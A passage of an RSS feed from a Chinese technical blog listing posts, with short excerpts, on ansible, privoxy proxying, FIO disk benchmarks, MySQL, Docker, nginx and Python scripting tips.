epel-release-6-8.noarch.rpm yum install privoxy -y # In future if you want to update yum update privoxy -y # Ref: http://pkgs.org/centos-6/epel-x86_64/privoxy-3.0.21-3.el6.x86_64.rpm.html # shareimprove this answer transfer protocol from socks to http via privoxy https://wiki.archlinux.org/index.php/Shadowsocks_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87) https://blog.phpgao.com/privoxy-shadowsocks.html 方法二： 1.直接指定Chromium走socks代理似乎不能远程dns解析，这未必是用</description></item><item><title>ansible 2.3.0.0 条件判断</title><link>https://typonotes.com/posts/2017/05/09/ansible-2.3.0.0-condition-conditional-examples/</link><pubDate>Tue, 09 May 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/05/09/ansible-2.3.0.0-condition-conditional-examples/</guid><description>ansible 2.3.0.0 条件判断 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134</description></item><item><title>ansible synchronize 同步文件夹</title><link>https://typonotes.com/posts/2017/04/12/ansible-copy-directories-to-remote-hosts-synchronize_module/</link><pubDate>Wed, 12 Apr 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/04/12/ansible-copy-directories-to-remote-hosts-synchronize_module/</guid><description>ansible synchronize 同步文件夹 使用 ansible synchronize_module 可以控制机和目标机之间同步目录 1 2 3 4 cat /root/ansible_copy/hosts [backup] 10.1.1.1 serverid=1001 ansible_ssh_user=backup_user ansible_ssh_port=22 通过 mode 控制同步方向 mode=push 默认值。 从『控制机』到『目标机』 mode=pull 从『目标机』到『控制机』 推送 push 1 2 3 ansible -i /root/ansible_copy/hosts backup -m synchronize -a &amp;#39;src=https://typonotes.com/tmp/svr_01/backup/ dest=/tmp/svr_02/backup/&amp;#39; ansible -i /root/ansible_copy/hosts backup -m synchronize -a &amp;#39;mode=push src=https://typonotes.com/tmp/svr_01/backup/ dest=/tmp/svr_02/backup/&amp;#39; 拉取 pull 1 ansible -i /root/ansible_copy/hosts backup -m synchronize -a &amp;#39;mode=pull src=https://typonotes.com/tmp/svr_01/backup/ dest=/tmp/svr_02/backup/&amp;#39; delegate_to 授权 需要注意的是，使用 delegate_to 授权机进行 synchronize 。需要保证授</description></item><item><title>闰年的最佳效率演算法</title><link>https://typonotes.com/posts/2017/03/06/%E6%9C%80%E4%BD%B3%E9%97%B0%E5%B9%B4%E8%AE%A1%E7%AE%97%E6%96%B9%E6%B3%95/</link><pubDate>Mon, 06 Mar 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/03/06/%E6%9C%80%E4%BD%B3%E9%97%B0%E5%B9%B4%E8%AE%A1%E7%AE%97%E6%96%B9%E6%B3%95/</guid><description>闰年的最佳效率演算法 閏年的最佳效率演算法 所謂閏年，維基百科做了如是介紹： 閏年是比普通年分多出一段時間的年分，在各種曆法中都有出現，目的是為了彌補人為規定的紀年與地球公轉產生的差異。 目前使用的格里曆閏年規則如下： 西元年分除以400可整除，為閏年。 西元年分除以4可整除但除以100不可</description></item><item><title>使用 FIO 测试磁盘 IOPS 性能</title><link>https://typonotes.com/posts/2017/03/06/%E7%A3%81%E7%9B%98IOPS%E6%80%A7%E8%83%BD%E6%B5%8B%E8%AF%95/</link><pubDate>Mon, 06 Mar 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/03/06/%E7%A3%81%E7%9B%98IOPS%E6%80%A7%E8%83%BD%E6%B5%8B%E8%AF%95/</guid><description>使用 FIO 测试磁盘 IOPS 性能 磁盘IOPS测试 linux 使用 FIO 测试 FIO是测试IOPS的非常好的工具，用来对硬件进行压力测试和验证，支持13种不同的I/O引擎，包括:sync,mmap, libaio, posixaio, SG v3, splice, null, network, syslet, guasi, solarisaio 等等。 FIO 安装 1 2 3 4 5 6 7 8 9 10 # centos6 可以通过 yum 安装 sudo yum -y install fio # 编译安装 wget http://brick.kernel.dk/snaps/fio-2.0.7.tar.gz yum install libaio-devel tar -zxvf fio-2.0.7.tar.gz cd fio-2.0.7 make</description></item><item><title>使用 mysql 统计平均用户在线时长</title><link>https://typonotes.com/posts/2017/02/10/mysql-analysis-user-online-length/</link><pubDate>Fri, 10 Feb 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/02/10/mysql-analysis-user-online-length/</guid><description>使用 mysql 统计平均用户在线时长 在表中，记录了用户 login/logout 的时间点（unix时间）。现在需要确定当日用户的在线时长总和，与平均在线时长。 简单的说，就是要求出匹配 userid 的 login/logout timestamp 的差值并求和。 问题在于： 其一，某些用户是跨天 login 或者 logout 的，这样当天的日志就没有可以匹配的 userid_login / userid_logout 。 其二，如果有些重度用户长时间在</description></item><item><title>AWS EFS 使用笔记</title><link>https://typonotes.com/posts/2017/01/23/aws-efs-notebook/</link><pubDate>Mon, 23 Jan 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/01/23/aws-efs-notebook/</guid><description>AWS EFS 使用笔记 1 2 3 4 5 # 安装 nfs utils 组件 # On an Amazon Linux, Red Hat Enterprise Linux, or SuSE Linux instance: sudo yum install -y nfs-utils # On an Ubuntu instance: #sudo apt-get install nfs-common iptables 与 sg 设置 mount 的时候注意防火墙 或 security group 的设置 EFS 使用了防火墙，需要将 EFS 所在的 SG 允许中设置允许访问来源。 portmap 端口 111 udp/tcp； nfsd 端口 2049 udp/tcp； mountd 端口 &amp;ldquo;xxx&amp;rdquo; udp/tcp 通常设置允许某 security group. 挂载 使用域名挂载 1</description></item><item><title>ansible playbook 注意事项 02</title><link>https://typonotes.com/posts/2017/01/06/ansible-playbook-tips-02/</link><pubDate>Fri, 06 Jan 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/01/06/ansible-playbook-tips-02/</guid><description>ansible playbook 注意事项 02 参考 defaults/main.yml 1 2 3 4 5 6 7 8 9 10 11 12 # 关于缩进 # 在 yaml 语法中, `-` 表示指代的是一个列表格式, 在字典的 key 缩进的时候不能算在内. # # -------------------------------- # 如下的缩进, # server 和 file_name 位于相同层级 # -------------------------------- # - server: # file_name: site3 # listen: 10101 # server_name: nginx_playbook # root: &amp;#34;/tmp/site3&amp;#34; 字典写法 以下三种写法等价 参考 main.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 01 单行写法</description></item><item><title>这是一个测试文档</title><link>https://typonotes.com/posts/2016/12/31/post-test/</link><pubDate>Sat, 31 Dec 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/12/31/post-test/</guid><description>这是一个测试文档 为什么更新 2016 年的文章后没有更新？ 为什么创建 2017 年的文章没有出现？ 写于 2017-01-06 文件名为 2016-12-31-post-test.md</description></item><item><title>ansible playbook 注意事项 01</title><link>https://typonotes.com/posts/2016/12/30/ansible-playbook-tips-01/</link><pubDate>Fri, 30 Dec 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/12/30/ansible-playbook-tips-01/</guid><description>ansible playbook 注意事项 01 notify 触发条件 不能在没有变更系统状态的条件下触发 notify 。 即，此处不能省略 template 模块 # tasks - name: Configure ntp file template: src=ntp.conf.j2 dest=/etc/ntp.conf notify: restart ntpd tags: ntp 变量文件 通过 vars_files 指定变量文件位置 - name: install MySQL57 hosts: mysql-server remote_user: root vars_files: - vars/dbserver.yml roles: - db 模块提示 在编写 playbook 的时候，遇到不知道或不清楚的模块时。可以使用 command: sys_command_bin args。 如果 ansible 有合适的模块会在 play 运行的输出</description></item><item><title>Mysql 5.6 与5.7 密码权限问题</title><link>https://typonotes.com/posts/2016/12/30/mysql56-57-password-issue/</link><pubDate>Fri, 30 Dec 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/12/30/mysql56-57-password-issue/</guid><description>Mysql 5.6 与5.7 密码权限问题 在 5.6 和 5.7 中，Mysql 加强了密码的使用。 Mysql第一次启动的时候，会初始化一个随机的复杂密码，保存在 /var/log/mysqld.log 不再接受简单密码。即复杂密码为： 大小写、数字、符号 的组合。 在命令行中，不能直接使用 mysql -u$USER -p$PASSWORD 的方式了 在 bash script 中使用 mysql 如何在 bash script 中使用 mysql 密码 - stackoverflow.com 讨论 使用 client 配置 在</description></item><item><title>ansible 命令及示例</title><link>https://typonotes.com/posts/2016/12/16/ansible-command-usage/</link><pubDate>Fri, 16 Dec 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/12/16/ansible-command-usage/</guid><description>ansible 命令帮助文档 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133</description></item><item><title>cron 定时任务小技巧 进程锁与超时</title><link>https://typonotes.com/posts/2016/12/16/cron-tips-lock-timeout/</link><pubDate>Fri, 16 Dec 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/12/16/cron-tips-lock-timeout/</guid><description>cron 定时任务小技巧 进程锁与超时 如果本文的内容仅限于此类小菜，那么未免有些太对不起各位看官，下面上一道硬菜：设置一个 PHP 脚本，每分钟执行一次，怎么搞？听起来这分明就是一道送分题啊： 1 * * * * * /path/to/php /path/to/file 让我们设想如下情况：假如上一分钟的 A 请求还没退出，下一分钟的 B 请求也启动了，就会导致出现 AB</description></item><item><title>shell 模拟多线程处理</title><link>https://typonotes.com/posts/2016/11/29/shell-thread-usage/</link><pubDate>Tue, 29 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/29/shell-thread-usage/</guid><description>shell 模拟多线程处理 shell并发的本质就是将代码块放入后台运行 并发数量控制的本质是通过读取管道等待保证后台运行代码块的数量 代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #!/bin/sh # # Author: uyinn # mailto: uyinn@live.com # datetime: 2014/04/28 # # # 创建管道 fifofile=/tmp/my.fifo mkfifo $fifofile exec 6&amp;lt;&amp;gt; $fifofile # @1 rm -f $fifofile # 实现并发进程数(7个</description></item><item><title>windows 下为 python 安装 win_inet_pton</title><link>https://typonotes.com/posts/2016/11/29/python-libaray-win_inet_pton/</link><pubDate>Tue, 29 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/29/python-libaray-win_inet_pton/</guid><description>windows 下为 python 安装 win_inet_pton AttributeError: &amp;lsquo;module&amp;rsquo; object has no attribute &amp;lsquo;inet_pton&amp;rsquo; 我在windows下使用的是python 2.7.11; 自带的socket是不包含inet_pton方法的. 因此, 在做socket代理的时候, socket调用 inet_pton方法会报错, 提示 AttributeError: 'module' object has no attribute 'inet_pton' . windows 使用 socket 报错: File &amp;#34;E:Python27libsite-packagessocks.py&amp;#34;, line 482, in _SOCKS5_request resolved = self._write_SOCKS5_address(dst, writer) File &amp;#34;E:Python27libsite-packagessocks.py&amp;#34;, line 517, in _write_SOCKS5_address addr_bytes = socket.inet_pton(family, host) AttributeError: &amp;#39;module&amp;#39;</description></item><item><title>使用 python 做网页爬虫 目录</title><link>https://typonotes.com/posts/2016/11/29/python-crawler-catalogue/</link><pubDate>Tue, 29 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/29/python-crawler-catalogue/</guid><description>使用python做爬虫 本文是自己在做python爬虫时候的笔记. 目录是从百度文库中找到的, 包含了爬虫基础的方方面面. 各种分类练习代码放在了github上. 本文所有代码就基于 windows 版本的python 2.7.11 x86 1. 最基本抓站 对于抓取的对象, 都会使用正则方式进行匹配。 编写正则的一个小技巧： 1.将整</description></item><item><title>在 python 中使用 opener 进行网页访问</title><link>https://typonotes.com/posts/2016/11/29/python-urllib2-opener-usage/</link><pubDate>Tue, 29 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/29/python-urllib2-opener-usage/</guid><description>在 python 中使用 opener 进行网页访问 在网页访问中, urllib2 提供了很多 handler, 并且默认支持 http 访问的。因此, 我们可以使用 http handler 初始化一个 opener。 其他的所支持的模式, 我们可以通过 opener.add_handler(handler) 添加。 1 2 3 4 5 6 # function get_opener() # 后面案例需要调用这个方法 import urllib2 url_abs=&amp;#39;http://ip.cn&amp;#39; opener=urllib2.build_opener(urllib2.HTTPHandler()) resp=opener.open(url_abs) return opener 使用opener处理表单 和 cookie 如果遇到需要登录的网站, 可能就需要</description></item><item><title>python matplatlib 格式化坐标轴时间 datetime</title><link>https://typonotes.com/posts/2016/11/28/python_matplotlib_xaxis_datetime_format/</link><pubDate>Mon, 28 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/28/python_matplotlib_xaxis_datetime_format/</guid><description>python matplatlib 格式化坐标轴时间 datetime 使用 matplatlib.pyploy 可以非常方便的将数组转换成时间。但是，如果是时间 datetime.datetime() 作为坐标轴，如果不对时间进行优化，将会显得非常紧凑。 对坐标轴时间进行优化，用到的库为 matplatlib.dates。主要代码如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36</description></item><item><title>python 中使用 shutil 实现文件或目录的复制、删除、移动</title><link>https://typonotes.com/posts/2016/11/24/python-libaray-shutil-shell-command-for-python/</link><pubDate>Thu, 24 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/24/python-libaray-shutil-shell-command-for-python/</guid><description>python 中使用 shutil 实现文件或目录的复制、删除、移动 shutil 模块 提供了多个针对文件或文件集合的高等级操作。 尤其是，文件的复制和删除操作。 对于独立文件的操作， 参考 os 模块 警告： 即使是更高等级的文件复制功能 ( shutil.copy(), shutil.copy2() ) 也不能复制所有文件的元数据(metadata)。 在 POSIX 平台上，这意味着文件的属主和用户组会</description></item><item><title>Dockerfile 基础命令</title><link>https://typonotes.com/posts/2016/11/18/dockerfile-commonds-usage/</link><pubDate>Fri, 18 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/18/dockerfile-commonds-usage/</guid><description>Dockerfile 基础命令 Dockerfile 有十几条命令可用于构建镜像，下文将简略介绍这些命令。 FROM FROM 命令可能是最重要的 Dockerfile 命令。改命令定义了使用哪个基础镜像启动构建流程。基础镜像可以为任意镜像。如果基础镜像没有被发现， Docker 将试图从 Docker image index 来查找该镜像。FROM 命令必须是Dockerfile的首个命令。 # Usage: FROM [image name] # FROM 之</description></item><item><title>nginx 子目录路径配置 root 与 alias 的区别</title><link>https://typonotes.com/posts/2016/11/18/nginx-location-root-alias/</link><pubDate>Fri, 18 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/18/nginx-location-root-alias/</guid><description>nginx 子目录路径配置 root 与 alias 的区别 最近在nginx上部署日志分析工具awstats时，在配置awstats分析结果可供网页浏览这步时，分析结果页面访问总是404.后来查阅了一些资料，发现是root和alias的用法区别没搞懂导致的，这里特地将这两者区别详尽道来，供大家学习参考。 Ngin</description></item><item><title>python 字典与 json 异同</title><link>https://typonotes.com/posts/2016/11/17/python-json-usage/</link><pubDate>Thu, 17 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/17/python-json-usage/</guid><description>json 与 dict 从结构上来看， json 字符出与 python 字典看起来很相似，都是大括号 {} 括起来的键值对 {key:value}。 s='{&amp;quot;number&amp;quot;:10,&amp;quot;map&amp;quot;:&amp;quot;china&amp;quot;,&amp;quot;10&amp;quot;:&amp;quot;the number&amp;quot;}' 该字符串可以通过**字符串转字典 eval(s) 也可以通过json转字典 json.loads(s) **方式转换成字典 s=&amp;#39;{&amp;#34;number&amp;#34;:10,&amp;#34;map&amp;#34;:&amp;#34;china&amp;#34;,&amp;#34;10&amp;#34;:&amp;#34;the number&amp;#34;}&amp;#39; s_d=eval(s) print s_d # {&amp;#39;map&amp;#39;: &amp;#39;china&amp;#39;, &amp;#39;number&amp;#39;: 10, &amp;#39;10&amp;#39;: &amp;#39;the number&amp;#39;} import json s_j=json.loads(s) print s_j # {u&amp;#39;map&amp;#39;: u&amp;#39;china&amp;#39;, u&amp;#39;number&amp;#39;: 10, u&amp;#39;10&amp;#39;: u&amp;#39;the number&amp;#39;} s_d is s_j # False s_d == s_j # True print type(s_d) # &amp;lt;type &amp;#39;dict&amp;#39;&amp;gt; 然而差别在于： 引</description></item><item><title>使用python生成base64编码和qrcode二维码</title><link>https://typonotes.com/posts/2016/11/16/python-qrcode-base64-usage/</link><pubDate>Wed, 16 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/16/python-qrcode-base64-usage/</guid><description>使用python对字符串进行base64编码以及生成字符串qrcode二维码 最近将ss服务器搬到免费docker上面去了。由于是免费的，每次容器重启的时候都会重新绑定服务器地址和容器端口。然而作为一个懒鬼，并不想每次都手动复制粘贴这些信息，于是新需求就是docker容器服务绑定完</description></item><item><title>ansible 入门</title><link>https://typonotes.com/posts/2016/11/10/how-to-usage-ansible/</link><pubDate>Thu, 10 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/10/how-to-usage-ansible/</guid><description>ansible 指南 本地执行 https://cloud.tencent.com/developer/ask/28078 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 方法1: - name: check out a git repository local_action: module: git repo: git://foosball.example.org/path/to/repo.git dest: /local/path --- # 方法2: - name: check out a git repository local_action: git args: repo: git://foosball.example.org/path/to/repo.git dest: /local/path 判断目标状态 / 判断目标是否存在 1 2 3 4 5 6 7 8 9 10 - stat: path=/path/to/something register: p # 判断目标是否为文件夹 - debug: msg=&amp;#34;Path exists and is a directory&amp;#34; when: p.stat.isdir is defined and p.stat.isdir # 判断目标是否为文件夹 - debug: msg=&amp;#34;Path exists&amp;#34; when: p.stat.exists</description></item><item><title>windows 下 qiniu-python-sdk 错误及解决方法</title><link>https://typonotes.com/posts/2016/11/10/windows-qiniu-python-sdk-typeerror/</link><pubDate>Thu, 10 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/10/windows-qiniu-python-sdk-typeerror/</guid><description>报错信息 File &amp;#34;E:\Python27\lib\site-packages\qiniu\zone.py&amp;#34;, line 131, in host_cache_file_path return home + &amp;#34;/.qiniu_pythonsdk_hostscache.json&amp;#34; TypeError: unsupported operand type(s) for +: &amp;#39;NoneType&amp;#39; and &amp;#39;str&amp;#39; 解决方法 def host_cache_file_path(self): home = os.getenv(&amp;#34;HOME&amp;#34;) # @ 增加 None 值判断 # @ 如果 home 值为 None， 则使用当前路径 if home is None: # home=os.path.join(&amp;#39;.&amp;#39;+&amp;#39;C:\Users\Public&amp;#39;) home=os.curdir # @ 修改路径链接方式 return os.path.join(home,&amp;#34;/.qiniu_pythonsdk_hostscache.json&amp;#34;) # return home + &amp;#34;/.qiniu_pythonsdk_hostscache.json&amp;#34; 出现问题后，使用当前目录 os.curdir 的值通常为运行的 python 文件的根目录（ 如： C: , E:） 问题出现原因 zone.py 预计使用环境为 linux windows 下， python 不能</description></item><item><title>python 中使用参数选项 getopt</title><link>https://typonotes.com/posts/2016/11/09/python-getopt-usage/</link><pubDate>Wed, 09 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/09/python-getopt-usage/</guid><description>python 中使用 getopt 分割参数 getopt 库是 python 内建库，以使用 getopt 库为程序指定可选参数。 1 2 3 # @python_version: python_x86 2.7.11 import getopt 指定选择项 opts 使用的长短字符 参数选择项通常有长短两种： 长短选择项本身都为字符串 短选择项的符号必须单字母，如果需要使用参数，选择项符号后需要使用 :（如 'o:'。所有短选择项构成一个字符串传递给 getopt 。 长选择</description></item><item><title>python 字符串处理</title><link>https://typonotes.com/posts/2016/11/09/python-string-handing/</link><pubDate>Wed, 09 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/09/python-string-handing/</guid><description>python 字符串处理 python cookbook 第一章 1.1 每次处理一个字符串 将字符串转换为列表 使用内建 list ，将字符串转换为列表 1 theList = list(theString) 1.7 反转字符串 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 astring=&amp;#39;i have a dream&amp;#39; # 逐个字符反转 revchars=astring[::-1] # 按空格拆分为列表并反转 revwards=astring.split() revwards.reverse() revwards=&amp;#39; &amp;#39;.join(revwards) # 使用空格链接 # 逐词反转但是改变空格, 使用正则表达式 import re revwards=re.split(r&amp;#39;(\s+)&amp;#39;,astring) # 使用正则表达式拆分保留</description></item><item><title>dokuwiki语法转markdown语法</title><link>https://typonotes.com/posts/2016/11/04/dokuwiki2markdown/</link><pubDate>Fri, 04 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/04/dokuwiki2markdown/</guid><description>亚马逊的免费网站要到期了。回顾了一下，这一年根本没有写什么东西，网站也基本没人访问。EC2除了搭建了一个SS楼梯之外也没有其他的作用。因此也没有继续折腾。 之前的doku经过几次插件折腾，发现创建文章的初始状态完全靠doku系统生成的缓存记录。之前本来打算把网站图片放到七牛这类空间</description></item><item><title>docker官方文档，中文汉化项目</title><link>https://typonotes.com/posts/2016/11/03/docker/</link><pubDate>Thu, 03 Nov 2016 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2016/11/03/docker/</guid><description>说明 本项目根据学习进度不定时更新。 所有文章已经放在 github 上了。 并且通过 gitbook 发布。 docker官方文档，中文汉化项目 docker官方文档，中文汉化项目 项目简介 项目简介 第1章 安装运行与卸载 C01S01 在CentOS7上使用二进制包安装 系统环境要求 安装 使用yum安装 使用脚本安装 设置docker daem</description></item><item><title/><link>https://typonotes.com/posts/2023/01/24/devopscamp-cobra-binding-config-file/cobra02/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2023/01/24/devopscamp-cobra-binding-config-file/cobra02/</guid><description>作业: cobra - 02 读取配置配置文件 (作业解析和思考题) 作业要求 使用 https://github.com/spf13/cobra 实现命令工具 命令具有以下参数 --config , -c 配置文件 配置文件如下 1 2 3 # config.yml name: zhangsan age: 20 将配置文件保存为 JSON 格式 1 $ cat config.json 输出结果 1 2 3 4 { &amp;#34;name&amp;#34;:&amp;#34;zhangsan&amp;#34;, &amp;#34;age&amp;#34;: 20 } 作业解析 json 和 yaml 是 最常用的 配置文件类型， 除此之外还有 ini, toml, xml 等。 解析方法 一般是 Marshal(v any) ([]byte, error) 将结构体</description></item><item><title/><link>https://typonotes.com/posts/books/istio-in-action/SUMMARY/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/books/istio-in-action/SUMMARY/</guid><description>目录 环境准备 安装 docker, k3s, istio 环境 初始化第一个项目 - prod 升级项目 - prod and review 使用 lego 创建 https 证书 VirtualService istio VirtualService 和 k8s Ingress 创建 Gateway 允许外部访问 VirtualService 给予 uri 重写路由 使用 DestinationRule Subset 进行路由分组(版本控制) VirtualService 基于 Header 重写路由 VirtualService 支持重写路由的所有方式 VirtualService 路由重定向 VirtualService 的重试机制 VirtualService 注入错误实现混沌测试 VirtualService 委托，即流量转发 VirtualService Header 管理 VirutalService 根据客户端</description></item><item><title/><link>https://typonotes.com/posts/books/k8sailor/chapter02/18-vue3-create-deployment/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/18-vue3-create-deployment/</guid><description>创建 deployment</description></item><item><title>使用 docker buildx 实现多平台编译 - 环境篇</title><link>https://typonotes.com/posts/2020/06/10/docker-buildx/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/06/10/docker-buildx/</guid><description>使用 docker buildx 实现多平台编译 docker registry api v2 支持多 CPU 架构镜像. 同时 harbor v2 也实现了 docker registry api v2 的支持. 0x01 准备 docker 开启实验模式 buildx 插件 qemu 模拟器 Linux kernel &amp;gt;= 4.8 linux 系统内核 由于 binfmt_misc 机制开启需要依赖 Linux kernel &amp;gt;= 4.8 。 因此，在对 linux 系统操作选型上有一定要求。 建议使用 发行版 出场内核已经满足需求的操作系统。 而不是选择自己升级系统内核。 ubuntu:18.04 LTS</description></item><item><title>搜索</title><link>https://typonotes.com/search/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://typonotes.com/search/</guid><description/></item><item><title>友情链接</title><link>https://typonotes.com/links/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://typonotes.com/links/</guid><description/></item></channel></rss>